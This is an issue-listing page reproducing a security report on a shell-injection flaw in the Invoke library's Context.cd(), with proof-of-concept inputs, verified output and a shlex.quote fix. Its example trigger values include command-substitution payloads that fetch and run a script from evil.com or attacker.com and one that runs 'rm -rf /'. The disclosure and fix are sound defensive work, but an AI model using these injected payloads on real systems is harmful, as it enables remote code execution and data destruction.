Hacktoberfest 2026: the issues maintainers tagged for October, open and beginner-friendly. Browse Hacktoberfest issues

[Security] Shell injection via Context.cd() path argument — metacharacters not escaped (CWE-78)

Open Beginner friendly
#1,089 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Assessment

Difficulty
2/5
Estimated time
1-3 hours
Newbie friendliness
72/100
Issue type
Bug
Clarity
Clearly specified
Activity status
Active
Tech stack
bash, python
Domain
cli, security

Research direction

Start in invoke/context.py at _prefix_commands() and the cwd property, then trace how the assembled command reaches Popen(..., shell=True) or os.execvpe(...). Reproduce the two listed paths containing command-substitution and semicolon characters, and verify that they are treated literally while normal cd and command execution still work.

Written by the indexing model from the issue text.

Description

Summary

Context.cd() builds shell commands by inserting the raw path into "cd {} && <command>".format(path) inside _prefix_commands(). Only space characters are escaped (via .replace(" ", r"\ ")). All other shell metacharacters — $(), `, ;, |, &&, ||, newlines — are passed through verbatim to bash -c.

An inline TODO in the source acknowledges this is incomplete:

# invoke/context.py:354
# TODO: see if there's a stronger "escape this path" function somewhere
# we can reuse. e.g., escaping tildes or slashes in filenames.
paths = [path.replace(" ", r"\ ") for path in self.command_cwds[i:]]

Affected code

File: invoke/context.py
Functions: cwd property (line 337) and _prefix_commands() (line 266)
Commit: 6a71e680c535ba6520e935c497099fbca011d03c

# _prefix_commands() — the injection point
def _prefix_commands(self, command: str) -> str:
    prefixes = list(self.command_prefixes)
    current_directory = self.cwd               # ← only spaces escaped
    if current_directory:
        prefixes.insert(0, "cd {}".format(current_directory))  # ← raw into shell
    return " && ".join(prefixes + [command])

# The assembled string is passed to:
# Popen(command, shell=True, executable="/bin/bash")
# OR os.execvpe(shell, [shell, "-c", command], env)

Two confirmed injection vectors

Vector A — Command substitution $() (no spaces → space-escape doesn't help):

c = Context()
with c.cd("$(id>/tmp/invoke_poc.txt)"):
    c.run("echo normal")

# bash receives:  cd $(id>/tmp/invoke_poc.txt) && echo normal
# bash evaluates $(...) BEFORE cd → runs id, writes output to file
# cd fails silently, echo runs normally
# /tmp/invoke_poc.txt: uid=1000(user) gid=1000(user) ...

Vector B — Semicolon chaining (no spaces):

with c.cd("/tmp;id>/tmp/invoke_poc.txt"):
    c.run("echo normal")

# bash receives:  cd /tmp;id>/tmp/invoke_poc.txt && echo normal
# Executes: 1) cd /tmp  2) id>/tmp/invoke_poc.txt  3) echo normal

Verified output (run against commit 6a71e68 in isolated environment)

[Vector A] /tmp/invoke_poc.txt: 'uid=0(root) gid=0(root) groups=0(root)\n'
[Vector B] /tmp/invoke_poc.txt: 'uid=0(root) gid=0(root) groups=0(root)\n'

Real-world trigger conditions

Any task that passes external or user-controlled input to c.cd():

# 1. User-supplied CLI argument
@task
def deploy(c, target_dir):
    with c.cd(target_dir):           # invoke deploy --target-dir '$(curl evil.com/shell.sh|sh)'
        c.run("make install")

# 2. Dynamic path from filesystem scan (filenames can be arbitrary)
for entry in Path("/repos").iterdir():
    with c.cd(str(entry)):           # entry name: "$(rm -rf /)"
        c.run("git pull")

# 3. Path from config/API/DB
for repo in api_response["repos"]:
    with c.cd(repo["path"]):         # path: "/work;curl attacker.com|sh"
        c.run("git status")

In Fabric (which wraps Invoke for SSH), remote directory names are directly fed to c.cd(), making this exploitable when running tasks against hostile or compromised remote filesystems.

Severity

High — arbitrary command execution in the context of the invoking process.

CWE-78 (OS Command Injection)
CVSS 3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8 (if path from network/user input)
CVSS 3.1: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 7.8 (local-only use)

Fix

Apply shlex.quote() to the assembled directory in _prefix_commands(), and remove the incomplete space-only escaping from cwd:

import shlex

def _prefix_commands(self, command: str) -> str:
    prefixes = list(self.command_prefixes)
    current_directory = self.cwd
    if current_directory:
        prefixes.insert(0, "cd {}".format(shlex.quote(current_directory)))  # ← safe
    return " && ".join(prefixes + [command])

@property
def cwd(self) -> str:
    ...
    paths = list(self.command_cwds[i:])   # ← shlex.quote() handles all escaping
    return str(os.path.join(*paths))

shlex.quote() wraps in single quotes and escapes embedded single quotes:

  • /tmp;id'/tmp;id' (semicolon becomes literal)
  • $(id)'$(id)' (dollar/parens become literal)
  • my dir'my dir' (space handled correctly, no backslash needed)

A patch implementing this fix is available at:
https://github.com/HarshRajSinghania/invoke/tree/fix/i1-cd-shell-injection

Reporter

Harsh Raj Singhania — independent security researcher
Contact: raj.harshraut@gmail.com

Dominant language
Python
Stars
4.8k
Forks
412
PR merge metrics
No merged PRs in 30d

Contributor guide

No contributing guide indexed for this repository

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

More from pyinvoke/invoke

All issues in pyinvoke/invoke

Similar issues

More Python issues

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.